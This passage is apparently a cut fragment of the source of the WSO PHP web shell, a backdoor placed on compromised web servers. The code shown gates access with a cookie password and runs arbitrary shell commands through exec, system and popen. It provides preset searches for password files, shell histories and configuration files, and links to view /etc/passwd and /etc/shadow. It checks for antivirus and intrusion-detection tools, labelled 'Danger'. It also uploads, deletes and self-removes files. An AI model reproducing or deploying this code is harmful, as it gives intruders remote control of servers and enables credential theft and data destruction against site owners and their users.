(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $auth_pass))\n        wsoLogin();\n}\nif(strtolower(substr(PHP_OS,0,3)) == "win")\n\t$os = \'win\';\nelse\n\t$os = \'nix\';\n\n$safe_mode = @ini_get(\'safe_mode\');\nif(!$safe_mode)\n    error_reporting(0);\n\n$disable_functions = @ini_get(\'disable_functions\');\n$home_cwd = @getcwd();\nif(isset($_POST[\'c\']))\n\t@chdir($_POST[\'c\']);\n$cwd = @getcwd();\nif($os == \'win\') {\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\n\t$cwd = str_replace("\\\\", "/", $cwd);\n}\nif($cwd[strlen($cwd)-1] != \'/\')\n\t$cwd .= \'/\';\n\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$default_use_ajax;\n\nif($os == \'win\')\n\t$aliases = array(\n\t\t"List Directory" => "dir",\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\n    \t"Show active connections" => "netstat -an",\n    \t"Show running services" => "net start",\n    \t"User accounts" => "net user",\n    \t"Show computers" => "net view",\n\t\t"ARP Table" => "arp -a",\n\t\t"IP Configuration" => "ipconfig /all"\n\t);\nelse\n\t$aliases = array(\n  \t\t"List dir" => "ls -lha",\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\n        "process status" => "ps aux",\n\t\t"Find" => "",\n  \t\t"find suid" => "find / -type f -perm -04000 -ls",\n  \t\t"find suid in current dir" => "find . -type f -perm -04000 -ls",\n  \t\t"find sgid" => "find / -type f -perm -02000 -ls",\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\n  \t\t"find config.inc.php" => "find / -type f -name config.inc.php",\n  \t\t"find config*" => "find / -type f -name \\"config*\\"",\n  \t\t"find config* in current dir" => "find . -type f -name \\"config*\\"",\n  \t\t"find writable folders and files" => "find / -perm -2 -ls",\n  \t\t"find writable folders and files in current dir" => "find . -perm -2 -ls",\n  \t\t"find service.pwd" => "find / -type f -name service.pwd",\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\n  \t\t"find .htpasswd" => "find / -type f -name .htpasswd",\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\n  \t\t"find .bash_history" => "find / -type f -name .bash_history",\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\n  \t\t"find .fetchmailrc" => "find / -type f -name .fetchmailrc",\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\n\t\t"Locate" => "",\n  \t\t"locate httpd.conf" => "locate httpd.conf",\n\t\t"locate vhosts.conf" => "locate vhosts.conf",\n\t\t"locate proftpd.conf" => "locate proftpd.conf",\n\t\t"locate psybnc.conf" => "locate psybnc.conf",\n\t\t"locate my.conf" => "locate my.conf",\n\t\t"locate admin.php" =>"locate admin.php",\n\t\t"locate cfg.php" => "locate cfg.php",\n\t\t"locate conf.php" => "locate conf.php",\n\t\t"locate config.dat" => "locate config.dat",\n\t\t"locate config.php" => "locate config.php",\n\t\t"locate config.inc" => "locate config.inc",\n\t\t"locate config.inc.php" => "locate config.inc.php",\n\t\t"locate config.default.php" => "locate config.default.php",\n\t\t"locate config*" => "locate config",\n\t\t"locate .conf"=>"locate \'.conf\'",\n\t\t"locate .pwd" => "locate \'.pwd\'",\n\t\t"locate .sql" => "locate \'.sql\'",\n\t\t"locate .htpasswd" => "locate \'.htpasswd\'",\n\t\t"locate .bash_history" => "locate \'.bash_history\'",\n\t\t"locate .mysql_history" => "locate \'.mysql_history\'",\n\t\t"locate .fetchmailrc" => "locate \'.fetchmailrc\'",\n\t\t"locate backup" => "locate backup",\n\t\t"locate dump" => "locate dump",\n\t\t"locate priv" => "locate priv"\n\t);\n\nfunction wsoHeader() {\n\tif(empty($_POST[\'charset\']))\n\t\t$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\n\tglobal $color;\n\t echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . VERSION ."</title> \n<style> \n    body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;} \n    #particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;} \n    body,td,th    {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;} \n    table.info    {color:#C3C3C3;} \n    table#toolsTbl {background-color: #060A10;} \n    span,h1,a    {color:#fff !important;} \n    span        {font-weight:bolder;} \n    h1            {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;} \n    div.content    {padding:5px;margin-left:5px;background-color:#060a10;} \n    a            {text-decoration:none;} \n    a:hover        {text-decoration:underline;} \n    .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;} \n    .tooltip:hover::after {opacity:1;visibility:visible;} \n    .ml1        {border:1px solid #202832;padding:5px;margin:0;overflow:auto;} \n    .bigarea    {min-width:100%;max-width:100%;height:400px;} \n    input, textarea, select    {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;} \n    label:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;} \n    form        {margin:0px;} \n    #toolsTbl   {text-align:center;} \n    #fak        {background:none;} \n    #fak td     {padding:5px 0 0 0;} \n    iframe      {border:1px solid #060a10;} \n    .toolsInp   {width:300px} \n    .main th    {text-align:left;background-color:#202832;} \n    .main tr:hover{background-color:#2e6e9c;} \n    .main td, th{vertical-align:middle;} \n    input[type=\'submit\']{background-color:#2E6E9C;} \n    input[type=\'button\']{background-color:#2E6E9C;} \n    input[type=\'submit\']:hover{background-color:#56AD15;} \n    input[type=\'button\']:hover{background-color:#56AD15;} \n    .l1            {background-color:#202832;} \n    pre            {font:9pt Courier New;} \n</style> \n<script>\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\n    var d = document;\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = \'ajax=true\';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\n\t}\n\tfunction sr(url, params) {\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\n        if (req) {\n            req.onreadystatechange = processReqChange;\n            req.open(\'POST\', url, true);\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\n            req.send(params);\n        }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert(\'Request error!\');\n\t}\n</script>\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'> \n<form method=post name=mf style=\'display:none;\'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\n\t$totalSpace = $totalSpace?$totalSpace:1;\n\t$release = @php_uname(\'r\');\n\t$kernel = @php_uname(\'s\');\n\tif(!function_exists(\'posix_getegid\')) {\n\t\t$user = @get_current_user();\n\t\t$uid = @getmyuid();\n\t\t$gid = @getmygid();\n\t\t$group = "?";\n\t} else {\n\t\t$uid = @posix_getpwuid(posix_geteuid());\n\t\t$gid = @posix_getgrgid(posix_getegid());\n\t\t$user = $uid[\'name\'];\n\t\t$uid = $uid[\'uid\'];\n\t\t$group = $gid[\'name\'];\n\t\t$gid = $gid[\'gid\'];\n\t}\n\n\t$cwd_links = \'\';\n\t$path = explode("/", $GLOBALS[\'cwd\']);\n\t$n=count($path);\n\tfor($i=0; $i<$n-1; $i++) {\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\n\t\tfor($j=0; $j<=$i; $j++)\n\t\t\t$cwd_links .= $path[$j].\'/\';\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\n\t}\n\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\n\t$opt_charsets = \'\';\n\tforeach($charsets as $item)\n\t\t$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';\n\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Mail Test\'=>\'MailTest\',\'Console\'=>\'Console\',\'Sql Interface\'=>\'Sql\',\'Network\'=>\'Network\');\n\tif(!empty($GLOBALS[\'auth_pass\']))\n\t\t$m[\'Logout\'] = \'Logout\';\n\t$m[\'Self remove\'] = \'SelfRemove\';\n\t$menu = \'\';\n\tforeach($m as $k => $v)\n\t\t$menu .= \'<th width="\'.(int)(100/count($m)).\'%">[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\n\n\t$drives = "";\n\tif($GLOBALS[\'os\'] == \'win\') {\n\t\tforeach(range(\'c\',\'z\') as $drive)\n\t\tif(is_dir($drive.\':\\\\\'))\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\n\t}\n\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\') . \'</span></td>\'\n       . \'<td><nobr>\' . substr(@php_uname(), 0, 120) . \'</nobr><br>\' . $uid . \' ( \' . $user . \' ) <span>Group:</span> \' . $gid . \' ( \' . $group . \' )<br>\' . @phpversion() . \' <span>Safe mode:</span> \' . ($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=lime><b>OFF</b></font>\')\n       . \' <a href=# onclick="g(\\\'Php\\\',null,\\\'\\\',\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \' . date(\'Y-m-d H:i:s\') . \'<br>\' . wsoViewSize($totalSpace) . \' <span>Free:</span> \' . wsoViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)<br>\' . $cwd_links . \' \'. wsoPermsColor($GLOBALS[\'cwd\']) . \' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\' . $GLOBALS[\'home_cwd\'] . \'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\' . $drives . \'</td>\'\n       . \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\' . $opt_charsets . \'</optgroup></select><br><span>Server IP:</span><br>\' . @$_SERVER["SERVER_ADDR"] . \'<br><span>Client IP:</span><br>\' . $_SERVER[\'REMOTE_ADDR\'] . \'</nobr></td></tr></table>\'\n       . \'<table style="background-color:#2E6E9C" cellpadding=3 cellspacing=0 width=100%><tr>\' . $menu . \'</tr></table><div style="margin:5">\';\n}\n\nfunction wsoFooter() {\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'lime\'>(Writeable)</font>":" <font color=red>(Not writable)</font>";\n    echo "\n</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%> \n\t<tr>\n\t\t<td><form onsubmit=\'g(null,this.c.value,\\"\\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'>>\'></form></td>\n\t\t<td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value);return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td>\n\t\t<td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\\"g(\'Console\',null,this.c.value);return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>\n\t\t<td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>\n\t\t<input type=hidden name=a value=\'FilesMAn\'>\n\t\t<input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br  ></td>\n\t</tr></table></div><div id=\'particles-js\'></div><script src=\'http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js\'></script> \n    <script>particlesJS(\'particles-js\', {\'particles\':{\'number\':{\'value\':80,\'density\':{\'enable\':true,\'value_area\':800}},\'color\':{\'value\':\'#ffffff\'},\'shape\':{\'type\':\'triangle\',\'stroke\':{\'width\':0,\'color\':\'#000000\'},\'polygon\':{\'nb_sides\':5},\'image\':{\'src\':\'img/github.svg\',\'width\':100,\'height\':100}},\'opacity\':{\'value\':0.5,\'random\':true,\'anim\':{\'enable\':false,\'speed\':1,\'opacity_min\':0.1,\'sync\':false}},\'size\':{\'value\':3,\'random\':true,\'anim\':{\'enable\':false,\'speed\':40,\'size_min\':0.1,\'sync\':false}},\'line_linked\':{\'enable\':true,\'distance\':200,\'color\':\'#ffffff\',\'opacity\':0.4,\'width\':1},\'move\':{\'enable\':true,\'speed\':1,\'direction\':\'none\',\'random\':true,\'straight\':false,\'out_mode\':\'out\',\'bounce\':false,\'attract\':{\'enable\':false,\'rotateX\':10000,\'rotateY\':10000}}},\'interactivity\':{\'detect_on\':\'canvas\',\'events\':{\'onhover\':{\'enable\':true,\'mode\':\'grab\'},\'onclick\':{\'enable\':true,\'mode\':\'repulse\'},\'resize\':true},\'modes\':{\'grab\':{\'distance\':200,\'line_linked\':{\'opacity\':0.5}},\'bubble\':{\'particles_nb\':2}}},\'retina_detect\':true});</script> \n    </body></html>";\n}\n\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) {\n    function posix_getpwuid($p) {return false;} }\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) {\n    function posix_getgrgid($p) {return false;} }\n\nfunction wsoEx($in) {\n\t$out = \'\';\n\tif (function_exists(\'exec\')) {\n\t\t@exec($in,$out);\n\t\t$out = @join("\\n",$out);\n\t} elseif (function_exists(\'passthru\')) {\n\t\tob_start();\n\t\t@passthru($in);\n\t\t$out = ob_get_clean();\n\t} elseif (function_exists(\'system\')) {\n\t\tob_start();\n\t\t@system($in);\n\t\t$out = ob_get_clean();\n\t} elseif (function_exists(\'shell_exec\')) {\n\t\t$out = shell_exec($in);\n\t} elseif (is_resource($f = @popen($in,"r"))) {\n\t\t$out = "";\n\t\twhile(!@feof($f))\n\t\t\t$out .= fread($f,1024);\n\t\tpclose($f);\n\t}\n\treturn $out;\n}\n\nfunction wsoViewSize($s) {\n    if (is_int($s))\n        $s = sprintf("%u", $s);\n    \n\tif($s >= 1073741824)\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\n\telseif($s >= 1048576)\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\n\telseif($s >= 1024)\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\n\telse\n\t\treturn $s . \' B\';\n}\n\nfunction wsoPerms($p) {\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\n\telse $i = \'u\';\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\n\treturn $i;\n}\n\nfunction wsoPermsColor($f) {\n\tif (!@is_readable($f))\n\t\treturn \'<font color=#FF0000>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n\telseif (!@is_writable($f))\n\t\treturn \'<font color=white>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n\telse\n\t\treturn \'<font color=#25ff00>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n}\n\nfunction wsoScandir($dir) {\n    if(function_exists("scandir")) {\n        return scandir($dir);\n    } else {\n        $dh  = opendir($dir);\n        while (false !== ($filename = readdir($dh)))\n            $files[] = $filename;\n        return $files;\n    }\n}\n\nfunction wsoWhich($p) {\n\t$path = wsoEx(\'which \' . $p);\n\tif(!empty($path))\n\t\treturn $path;\n\treturn false;\n}\n\nfunction actionSecInfo() {\n\twsoHeader();\n\techo \'<h1>Server security information</h1><div class=content>\';\n\tfunction wsoSecParam($n, $v) {\n\t\t$v = trim($v);\n\t\tif($v) {\n\t\t\techo \'<span>\' . $n . \': </span>\';\n\t\t\tif(strpos($v, "\\n") === false)\n\t\t\t\techo $v . \'<br>\';\n\t\t\telse\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\n\t\t}\n\t}\n\n\twsoSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\n    if(function_exists(\'apache_get_modules\'))\n        wsoSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\n\twsoSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\n\twsoSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\n\twsoSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\n\twsoSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\n\twsoSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\n\t$temp=array();\n\tif(function_exists(\'mysql_get_client_info\'))\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\n\tif(function_exists(\'mssql_connect\'))\n\t\t$temp[] = "MSSQL";\n\tif(function_exists(\'pg_connect\'))\n\t\t$temp[] = "PostgreSQL";\n\tif(function_exists(\'oci_connect\'))\n\t\t$temp[] = "Oracle";\n\twsoSecParam(\'Supported databases\', implode(\', \', $temp));\n\techo \'<br>\';\n\n\tif($GLOBALS[\'os\'] == \'nix\') {\n            wsoSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\n            wsoSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\n            wsoSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\n            wsoSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\n            if(!$GLOBALS[\'safe_mode\']) {\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\n                echo \'<br>\';\n                $temp=array();\n                foreach ($userful as $item)\n                    if(wsoWhich($item))\n                        $temp[] = $item;\n                wsoSecParam(\'Userful\', implode(\', \',$temp));\n                $temp=array();\n                foreach ($danger as $item)\n                    if(wsoWhich($item))\n                        $temp[] = $item;\n                wsoSecParam(\'Danger\', implode(\', \',$temp));\n                $temp=array();\n                foreach ($downloaders as $item)\n                    if(wsoWhich($item))\n                        $temp[] = $item;\n                wsoSecParam(\'Downloaders\', implode(\', \',$temp));\n                echo \'<br/>\';\n                wsoSecParam(\'HDD space\', wsoEx(\'df -h\'));\n                wsoSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\n                echo \'<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\';\n                if (isset ($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) {\n                    $temp = "";\n                    for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\n                        $uid = @posix_getpwuid($_POST[\'p2\']);\n                        if ($uid)\n                            $temp .= join(\':\',$uid)."\\n";\n                    }\n                    echo \'<br/>\';\n                    wsoSecParam(\'Users\', $temp);\n                }\n            }\n\t} else {\n\t\twsoSecParam(\'OS Version\',wsoEx(\'ver\'));\n\t\twsoSecParam(\'Account Settings\',wsoEx(\'net accounts\'));\n\t\twsoSecParam(\'User Accounts\',wsoEx(\'net user\'));\n\t}\n\techo \'</div>\';\n\twsoFooter();\n}\n\nfunction actionMailTest() {\n\tfunction get_base_url()\n\t{\n\t\t$myurl = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];\n\t\t$p = parse_url($myurl);\n\t\t$myname = explode("/", $p[\'path\']);\n\t\t$myname = $myname[count($myname) - 1];\n\t\t$base_url = $p[\'scheme\'].\'://\'.$p[\'host\'].str_replace($myname, "", $p[\'path\']);\n\t\treturn substr($base_url, 0, -1).$_SERVER[\'SCRIPT_NAME\'];\n\t}\n\tif (!function_exists(\'posix_getegid\')) {\n\t    $user = @get_current_user();\n\t} else {\n\t    $uid = @posix_getpwuid(posix_geteuid());\n\t    $user = $uid[\'name\'];\n\t}\n\t$myurl = get_base_url();\n\t$from = "From: Result Doc<$user@".$_SERVER[\'HOST_NAME\'].">";\n\twsoHeader();\n\techo \'<h1>Mail Test</h1><div class=content><table><form name=em onSubmit="g(null,null,\\\'ems\\\',this.mailto.value,this.usere.value);return false;"><tr><td><span>Send to</span></td><td><input type=text name=mailto value=><input type=hidden name=usere value=$user></td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';\n\tif (isset($_POST[\'p1\'])) {\n\t    if ($_POST[\'p1\'] == \'ems\') {\n\t        $from_add = $_POST[\'p3\'] . "@" . php_uname(\'n\');\n\t        $to_add = $_POST[\'p2\'];\n\t        $subject = "Mail Test - $myurl";\n\t        $message = "Test Message : " . $myurl;\n\t        $headers = "From: Mail Test <$from_add>\\r\\n";\n\t        $headers.= "Reply-To: $from_add\\r\\n";\n\t        $headers.= "Return-Path: $from_add\\r\\n";\n\t        $headers.= \'X-Mailer: PHP/\' . phpversion();\n\t        if (mail($to_add, $subject, $message, $headers)) {\n\t            echo "Mail sent to $_POST[p2]";\n\t        } else {\n\t            echo "Error sending email!";\n\t        }\n\t    }\n}\necho \'</div><br>\';\nwsoFooter();\n}\n\nfunction actionFilesMan() {\n    if (!empty ($_COOKIE[\'f\']))\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\n    \n\tif(!empty($_POST[\'p1\'])) {\n\t\tswitch($_POST[\'p1\']) {\n\t\t\tcase \'uploadFile\':\n\t\t\t\tif(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))\n\t\t\t\t\techo "Can\'t upload!";\n\t\t\t\tbreak;\n\t\t\tcase \'mkdir\':\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\n\t\t\t\t\techo "Can\'t create!";\n\t\t\t\tbreak;\n\t\t\tcase \'delete\':\n\t\t\t\tfunction deleteDir($path) {\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\n\t\t\t\t\t$dh  = opendir($path);\n\t\t\t\t\twhile ( ($item = readdir($dh) ) !== false) {\n\t\t\t\t\t\t$item = $path.$item;\n\t\t\t\t\t\tif ( (basename($item) == "..") || (basename($item) == ".") )\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t$type = filetype($item);\n\t\t\t\t\t\tif ($type == "dir")\n\t\t\t\t\t\t\tdeleteDir($item);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($item);\n\t\t\t\t\t}\n\t\t\t\t\tclosedir($dh);\n\t\t\t\t\t@rmdir($path);\n\t\t\t\t}\n\t\t\t\tif(is_array(@$_POST[\'f\']))\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\n                        if($f == \'..\')\n                            continue;\n\t\t\t\t\t\t$f = urldecode($f);\n\t\t\t\t\t\tif(is_dir($f))\n\t\t\t\t\t\t\tdeleteDir($f);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($f);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \'paste\':\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as 